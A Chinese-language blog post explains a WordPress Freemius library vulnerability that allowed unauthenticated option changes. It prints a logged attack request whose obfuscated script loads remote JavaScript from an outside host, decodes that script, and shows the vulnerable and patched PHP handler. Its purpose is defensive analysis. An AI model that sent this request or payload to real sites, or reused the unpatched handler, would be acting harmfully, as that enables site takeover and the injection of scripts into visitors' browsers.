修復黑客利用Freemius類繞過過身份驗證的選項(漏洞-wordpress)

如果瀏覽不順暢請到原文章出處:https://www.sky8g.com/technology/2947/

請注意可能會提示風險,這是csdn官網如果不是他們的網址,其他的網址都會提示有風險,這是CSDN網站設置的問題,本網站全部文章爲免費技術分享,請放心訪問,無需擔心。

原文章出處:https://www.sky8g.com/technology/2947/

此篇文章是由SKY8G網作者原創,禁止抄襲。

 

作爲博客、論壇、或者電商網站等的博主,相信大家都知道, wordpress是世界上創建網站最簡單的平臺,他有及其豐富的插件功能。讓你的網站運行效率更加完善。但是這樣多的個人用戶或者商家使用它,必然給黑客帶來了很好的研究對象,這樣就讓黑客更加專注於對你的wordpree網站進行惡意的訪問和分析你網站的漏洞。目的是爲了獲取你的用戶信息,或者獲取你用戶信用卡信息,這是非常可怕的事情。那麼我 們如何使我們的網站更加安全呢?

此篇文章是由SKY8G網作者進行編輯,禁止抄襲,違者必究

WordPress網站分析漏洞 

首先,我們一定要養成常看網站日誌的習慣,這樣可以及時發現漏洞避免不必要的損失。一般情況我們所使用的web服務器通常爲三種。

  1. 第一種是Apache服務器。
  2. 第二種是Nginx服務器。
  3. 第三種是大型公司自己的開發服務器,例如

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    今天收集了幾個大網站所使用的web服務器,每個網站都使用幾種web服務器,有的是開源的有的是自己開發的。

    網站  url                          Server

    谷歌  http://www.google.com.hk/    gws,sffe

    百度  http://www.baidu.com/        BWS/1.0,Apache

    新浪  http://www.sina.com.cn/      Apache,MediaV/0.1.54,nginx

    搜狐  http://www.sohu.com/         Apache/2.2.4,SWS,nginx

    網易  http://www.163.com/          nginx,Apache/2.0

    騰訊  http://www.qq.com/           squid/3.0,cws/3.1

    淘寶  http://www.taobao.com/       Tengine,Apache,nginx

    京東  http://www.360buy.com/       JDWS,Apache

    雅虎  http://cn.yahoo.com/         YTS/1.16.0

    圖都  http://www.tudou.com/        tws0.3,nginx/0.7.59

    迅雷  http://www.xunlei.com/       nginx/0.7.69

當然再好的服務器也不一定沒有漏洞,所以網站的安全至關重要。查看網站的訪問日誌、錯誤日誌、ssh登錄失敗日誌登錄,經常查看。這裏不再介紹如何查看日誌,自己可以通過百度和谷歌進行查閱。

WordPress網站發現漏洞 

只要我們勤於看日誌,總結分析日誌通常會使網站健康安全運行。當然如果你不是專業的運維人員或DBA的話也不一定做到每天觀看日誌,對於我來說就不能天天看日誌了。今天我突然查看了日誌,講過查看訪問本網站的IP有一個惡意的訪問,並且試圖破壞我的網站,如下:

1

2

訪問的時間和訪問的url

xxx.xxx.xxx.xxx - -  "GET //wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script  async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script> HTTP/1.1" 301 162 "http://sky8g.com/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script  async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script>" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" "-"

於是看到這個url非常的異常,通過分析竟然是一段腳本短碼及時黑客利用wordpress漏洞進行攻擊的惡意js代碼。於是經過瀏覽器javascript console.log()進行解析如下。

1

2

3

4

5

6

7

8

9

10

11

12

13

var nt = String.fromCharCode(57);

var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);

var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);

var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47);

var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);

var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);

var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];

console.log(nt);

console.log(mb);

console.log(sb);

console.log(jb);

console.log(tb);

console.log(lb);

輸出如下:

1

2

3

4

5

6

9

VM1380:9 ajaxCounter

VM1380:10 script

VM1380:11 https://

VM1380:12 text/javascript

VM1380:13 greatfacebookpage.com/dlto.js?t=p&a=

完整的url爲:

1

https://greatfacebookpage.com/dlto.js?t=p&a=9

經過查看這是個js腳本代碼。這段代碼有着破壞網站的行爲,這將允許任何有權訪問WordPress帳戶的人接管網站,並且是黑客過去曾試圖廣泛利用的漏洞類型,因此可能存在大量漏洞因此而嘗試他可以創建在你的網站創建用戶,此用戶有着超級管理員權限這是非常危險的。所以我們需要解決這個問題,他是利用我們wordpress中第三方庫的class-freemius.php 這個庫函數在你沒有更新之前有一個漏洞。

受影響的Wordpree插件 

(2019年3月8日更新)

請儘快更新的你插件漏洞,以便你網站安全運行。

更新WordPress網站漏洞 

我們現在已經回顧了1000個最受歡迎的插件,發現很多使用這個庫,如下所列,其中很多還沒有發佈固定版本。在我們發現了這個漏洞我們就要進行修復或者更新漏洞,目前GitHub上Freemius 已經更新了此庫函數,更新時間爲2019年6月5日。更新的步驟代碼爲如下圖:

原來 的代碼如下,在2828行到2848行之間

1

2

3

4

5

6

7

8

9

10

11

12

13

14

        /**

         * @author Vova Feldman (@svovaf)

         * @since  1.2.1.7

         */

        static function _set_db_option() {

            $option_name  = fs_request_get( 'option_name' );

            $option_value = fs_request_get( 'option_value' );

 

            if ( ! empty( $option_value ) ) {

                update_option( $option_name, $option_value );

            }

 

            self::shoot_ajax_success();

        }

更新爲代碼如下圖

1

2

3

4

5

6

7

8

9

10

11

12

13

14

        static function _set_db_option() {

            check_admin_referer( 'fs_set_db_option' );

            $option_name = fs_request_get( 'option_name' );

            if ( ! is_super_admin() ||

                 ! fs_starts_with( $option_name, 'fs_' )

            ) {

                self::shoot_ajax_failure();

            }

            $option_value = fs_request_get( 'option_value' );

            if ( ! empty( $option_value ) ) {

                update_option( $option_name, $option_value );

            }

            self::shoot_ajax_success();

        }

這樣就避免了黑客利用這一漏洞進行惡意訪問你的網站了。如果喜歡我們的文章就點擊右邊欄訂閱吧。

如果有不懂的地方請留言,SKY8G網站編輯者專注於研究IT源代碼研究與開發。希望你下次光臨,你的認可和留言是對我們最大的支持,謝謝!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章